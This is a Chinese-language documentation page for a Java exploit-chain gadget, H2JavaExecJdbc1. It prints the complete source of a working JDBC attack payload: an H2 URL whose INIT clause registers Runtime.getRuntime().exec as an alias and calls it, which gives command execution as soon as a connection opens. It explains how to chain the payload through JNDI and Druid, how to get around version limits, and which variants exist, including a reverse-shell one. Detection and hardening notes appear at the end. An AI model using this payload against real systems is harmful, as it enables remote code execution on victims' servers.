- 类别:common 别名:— 优先级:10
- 实现:
com.ar3h.chains.common.Gadget(无基类,逻辑完全内联于本类) - 作者:—
- 依赖:
com.h2database:h2:org.h2.Driver(目标 classpath 需存在 H2 数据库驱动)
生成一段恶意的 H2 内存数据库 JDBC 连接串。当目标应用用这个 URL 去建立数据库连接时,H2 在连接初始化阶段执行 URL 中 INIT 参数携带的 SQL:先用 CREATE ALIAS 把一段内联 Java 方法 Runtime.getRuntime().exec(cmd) 注册为存储过程别名 EXEC,随后 CALL EXEC(...) 立即调用它,从而在“仅仅打开一个 JDBC 连接”这一动作中完成任意命令执行(JDBC Attack / JDBC RCE)。
本 gadget 是 JDBC 攻击链的链尾 sink:它不产出序列化字节码,而是产出一个字符串 URL,交由上游“能把攻击者可控字符串当作 JDBC URL 去连接”的 gadget(如 DruidJdbcAttack)触发。
- 入口
tags:H2JdbcUrl、JdbcUrlChains、ENDJdbcUrlChains—— 声明“我是一个可被当作 JDBC URL 消费的载荷”,用于承接上游标注了nextTags=JdbcUrlChains的连接触发型 gadget。H2JdbcUrl—— 进一步限定“我是 H2 方言的 URL”,供选链器区分 H2 / MySQL / PostgreSQL 等不同数据库的 URL 构造器。END—— 标记本 gadget 为链尾,自身产出最终 payload,其后不再有更内层对象。
- 衔接
nextTags:(无)。因为是END,invoke中不调用chain.doCreate(context),不再向下衔接。 excludes:(无)。
本类极简,全部逻辑就是拼接一个字符串 URL 并把驱动类名塞进上下文:
@GadgetTags(tags={"H2JdbcUrl", "JdbcUrlChains", "END"})
@GadgetAnnotation(name="H2 JDBC URL Java命令执行1", description="适用于jdbc rce场景,通过H2执行Java代码……", dependencies={"com.h2database:h2:org.h2.Driver"}, priority=10)
public class H2JavaExecJdbc1 implements Gadget {
@Param(name="命令", description="eg: cmd /c calc")
public String cmd = "cmd /c calc";
public String driverClassName = "org.h2.Driver";
public String getObject() {
String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}'\\;CALL EXEC ('" + this.cmd + "')\\;";
return url;
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName);
return this.getObject();
}
}逐段解释:
getObject()—— 构造恶意 H2 URL。拆解这条连接串的各字段:jdbc:h2:mem:testdb—— 连接到一个名为testdb的 H2 内存数据库(mem:)。内存库无需磁盘文件、无需鉴权即可即时创建,因此攻击者完全掌控这个“新建的库”,可在其中任意建别名、执行 SQL。TRACE_LEVEL_SYSTEM_OUT=3—— 打开 H2 的调试跟踪输出等级;对利用本身非必需,通常用于把执行过程/报错回显到标准输出,便于验证。INIT=...—— 利用核心。H2 的INIT连接参数允许在连接建立时执行一段初始化 SQL。攻击面就在这里:连接“打开”这一动作本身即触发 SQL 执行,无需目标应用再显式发起任何查询。CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\;}'—— H2 的CREATE ALIAS ... AS '<Java 源码>'特性:把一段内联 Java 源代码注册为可被 SQL 调用的存储过程别名。H2 会在运行时编译并加载这段源码。这里定义的方法体正是Runtime.getRuntime().exec(cmd),即 description 所说“最简单的 getRuntime 去执行命令”,因此 Payload 相较于走TemplatesImpl/字节码的方式非常简短。CALL EXEC ('<cmd>')—— 紧接着调用上面注册的别名,把用户可控的cmd作为参数传入,真正落地命令执行。- 转义细节:源码里的
\\;(在 Java 字符串字面量中即代表字面\;)是 H2 URL 中的语句分隔转义。H2 用;分隔 URL 里的多个设置项,而INIT内部的 SQL 又需要用;分隔多条语句(CREATE ALIAS ...与CALL EXEC ...),因此内部的分号必须写成\;转义,避免被 URL 解析器误当作设置项边界而截断。 - 注入位置:
cmd直接字符串拼接进CALL EXEC('...'),无任何转义。攻击者对cmd完全可控(见@Param),但也意味着若cmd中含单引号'会破坏 SQL 语法,实战中需选择不含单引号的命令写法(例如cmd /c calc、/bin/sh -c ...)。
invoke(...)—— 产出并注入上下文。context.put(ContextTag.DRIVER_CLASS_NAME_KEY, this.driverClassName)—— 把org.h2.Driver写入GadgetContext。上游 gadget(如 DruidJdbcAttack 等 JDBC 连接触发器)会从上下文取出该驱动类名,用于显式加载/指定驱动,从而确保用 H2 驱动去解析并连接本 gadget 产出的 URL。return this.getObject()—— 返回拼装好的 URL 字符串作为本环产物。注意本方法未调用chain.doCreate(context):由于是END链尾,它不包装任何更内层对象,直接把最终字符串产物向外交付。这与常规“由内向外”包装型 gadget(先doCreate取内层对象再包装)不同——JDBC URL sink 是链的最内端起点。
| 字段 | 名称 | 说明 | 类型 | 默认值 | 可选值 |
|---|---|---|---|---|---|
cmd |
命令 | 要执行的系统命令,eg: cmd /c calc |
String |
"cmd /c calc" |
(自由输入) |
driverClassName(默认org.h2.Driver)为公开字段但非@Param,一般无需改动;它经由invoke写入上下文供上游 JDBC 连接器使用。
- 依赖:目标 classpath 需存在
com.h2database:h2驱动(org.h2.Driver)。 - H2 版本相关:
CREATE ALIAS ... AS '<Java 源码>'(内联源码别名)依赖 H2 运行时编译 Java 源码的能力。较老/中间版本的 H2 默认支持该特性;H2 2.x 起收紧了CREATE ALIAS/INIT相关行为(对内联 Java 源码编译与连接期INIT执行的限制趋严),高版本环境可能失效。此时可改用同族其他变体(TRIGGER 触发型、Groovy/JS 脚本型、远程加载型,见「关联」)。 - 触发前提:利用不依赖反序列化本身,而依赖“攻击者能控制 JDBC URL 字符串并促成一次连接”。典型入口是 JNDI 注入落地到 Druid/Hikari 等连接池组件,再由其把 URL 交给
DriverManager建连。因此本 gadget 在预设链中总与一个 JDBC 连接触发器(nextTags=JdbcUrlChains)配对。 - 无鉴权即可 RCE:
mem:testdb为攻击者临时创建的内存库,不需要任何用户名/口令,INIT在连接建立时同步执行,命令执行发生在受害进程内、以其权限运行。 - 相对同族的取舍:本变体用
getRuntime().exec直连命令,URL 最短、最直观(description 强调“Payload 比较简短”),但对 H2 高版本兼容性不如 TRIGGER 变体(见 H2JavaExecJdbc2)。
- Druid Jdbc 利用(链步骤:
[DruidJdbcAttack, H2JavaExecJdbc1];适用 Payload 入口:JNDIReferencePayload、JNDIRefBypassPayload)。上游DruidJdbcAttack经 JNDI Reference 注入使目标 Druid 组件把本 gadget 产出的 H2 URL 当作数据源 URL 去连接,触发INIT中的命令执行。
- 上游(
tags=JdbcUrlChains承接方):DruidJdbcAttack(nextTags=JdbcUrlChains, JdbcUrlWithSQLChains);同类连接触发器还见 HikariJdbcAttack 利用链、H2JdbcUrl 链。 - 同族 H2 JDBC sink 变体(可按 H2 版本/环境替换):
- H2JavaExecJdbc2 —— 改用 H2
TRIGGER功能执行 Java 命令,兼容性更广(标注 All JDK)。 - H2JavaJdbc1 / H2JavaJdbc2 / H2JavaJdbc3 —— 通过 H2 执行更通用的 Java 代码(非仅
exec)。 - H2GroovyExecJdbc / H2JsExecJdbc —— 借助 Groovy / JS 脚本引擎执行。
- H2JavaReverseJdbc —— 反弹 shell 变体。
- H2RemoteJdbc / H2ExecSql —— 远程脚本加载 / 直接 SQL 执行变体。
- H2JavaExecJdbc2 —— 改用 H2
- 检测特征(流量/日志):
- JDBC URL 或应用配置中出现
jdbc:h2:mem:且带INIT=参数,尤其伴随CREATE ALIAS、CALL、RUNSCRIPT FROM、Runtime.getRuntime().exec、TRACE_LEVEL_SYSTEM_OUT等关键字,属高危指纹。 - JNDI 注入回连(
JNDIReferencePayload/JNDIRefBypassPayload)后紧跟一次数据库连接建立,源自 Druid/Hikari 等连接池,是本链的典型行为序列。 - H2 进程/宿主 JVM 派生出
cmd.exe、/bin/sh等子进程,父进程为业务应用而非数据库工具。
- JDBC URL 或应用配置中出现
- 加固建议:
- 禁止外部可控的 JDBC URL:数据源连接串应来自受信配置,绝不接受用户/远端输入拼接;对 JNDI 查找、连接池刷新等入口做严格校验,阻断 JDBC Attack 前置的 JNDI 注入。
- 升级 H2:升级到已收紧
CREATE ALIAS/INIT行为的较新 H2 版本;如无必要不将 H2 驱动放入生产 classpath。 - URL 参数白名单:在连接前对 URL 做解析,拒绝含
INIT、RUNSCRIPT、TRACE_LEVEL_*等危险参数的连接串。 - 最小权限运行:以低权限账户运行应用进程,限制 JVM 派生子进程(如通过 SecurityManager 替代方案、容器 seccomp/AppArmor),降低命令执行影响面。